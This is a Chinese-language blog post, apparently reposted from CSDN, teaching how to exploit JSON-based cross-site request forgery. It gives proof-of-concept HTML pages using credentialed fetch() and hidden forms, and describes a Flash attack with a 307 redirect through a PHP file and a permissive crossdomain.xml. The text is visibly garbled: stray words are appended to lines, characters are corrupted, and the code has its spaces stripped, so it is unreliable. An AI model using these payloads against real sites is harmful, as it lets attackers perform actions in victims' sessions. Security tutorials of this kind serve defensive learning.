CSRF(跨站点请求伪造)在Flash中的利用

0×00 前言php

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,一般缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性。html

对于大多数网站,浏览器请求会自动包含任何与网站相关的凭证,例如用户的会话cookie,IP地址,Windows域凭证等等json

你们都知道CSRF攻击,使用burpsuite里自带的加强工具(engagement tools)能够很容易地构造各类基本的CSRF攻击POC,包括经过XHR请求进行的CSRF攻击。跨域

在这篇文章中,我将要谈论我常常遇到的CSRF场景,而且我将尽量尝试讲清楚.浏览器

0×01 正文服务器

接下来的两种方法能够用在使用JSON格式数据进行post请求的状况下.好比{“name”:”test”, “email”:”victim.com”} ,有如下两个场景.cookie

场景1app

服务器查找json格式的数据,但不验证内容类型dom

场景2工具

服务器寻找json格式的数据并验证Content-type,也就是application / json

注意:这个csrf攻击只适用于应用程序只依赖json格式的数据或内容类型的应用程序/ json和数据格式检查,若是有任何额外的csrf标记/ referer检查的地方这将没法正常工做。

开发案例1:

只要使用Fetch请求就能够完成,正如咱们所知,在这种状况下,服务器只检查发布的数据是否格式正确,若是是,它将接受请求,而无论内容类型是否设置为文本/纯文本

如今假设咱们必须将这个测试数据提交给易受攻击的应用程序:{“name”:“attacker”,“email”:“attacker@gmail.com”}

更新的方法:

<html><title>JSON CSRF POC</title><body><center><h1> JSON CSRF POC </h1><script>fetch('http://vul-app.com';, {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});</script><formaction="#"><inputtype="button"value="Submit" /></form></center></body></html>

资料来源:http://research.rootme.in/for...

之前的方法—-使用form:

使用form构造JSON数据等而后发起post请求:

html><title>JSON CSRF POC</title><center><h1> JSON CSRF POC </h1><formaction=http://vul-app.commethod=post...="text/plain" ><inputname='{"name":"attacker","email":"attacker@gmail.com","ignore_me":"'value='test"}'type='hidden'><inputtype=submitvalue="Submit"></form></center></html>

若是应用程序不关心在我看到的大多数状况下发生的额外数据,这将使用有效的json格式的数据发出请求并填充一些额外的数据。若是没有,老是有第二种使用方式。

资料来源:http://blog.opensecurityresea...

开发案例2:

在这里即便应用程序正在验证  内容类型和数据格式,这种攻击也可使用flash和307重定向来实现。

要求:

精心制做的Flash文件

跨域XML文件

带有307个状态的PHP文件

精心制做的flash文件:

这个flash(.swf)文件有咱们的json格式的数据,攻击者必须在目标应用程序上发布,并连接到托管的php文件。

这里是测试的  SWF文件,你能够根据你的须要下载和编辑内容,我使用FFDec在Windows上进行编辑和编译Flash文件,你能够根据你的环境检查其余人。

crossdomain XML文件:

<cross-domain-policy><allow-access-fromdomain=""secure="false"/><allow-http-request-headers-fromdomain=""headers="*"secure="false"/></cross-domain-policy>

这个文件应该放在攻击者网站的根目录下,这样Flash文件就能够向攻击者的主机发送请求。

注意:若是Flash文件&重定向器页面在同一个域,则不须要crossdomain文件。

重定向的PHP文件

<?php// redirect automaticallyheader("Location: https://victim.com/user/endpoint/";, true, 307);?>

Flash文件请求这个php文件,这将使307重定向到提到的应用程序端点,而且307是特殊的重定向,它将从Flash文件接收到的JSON数据也post到目标端点,而且CSRF将成功执行.

 

注意:由于这是基于闪存的,因此应该在浏览器中安装闪存以使其工做。 

做者:CanMengBlog
来源:CSDN
原文:https://blog.csdn.net/weixin_... 版权声明:本文为博主原创文章,转载请附上博文连接!

相关文章
相关标签/搜索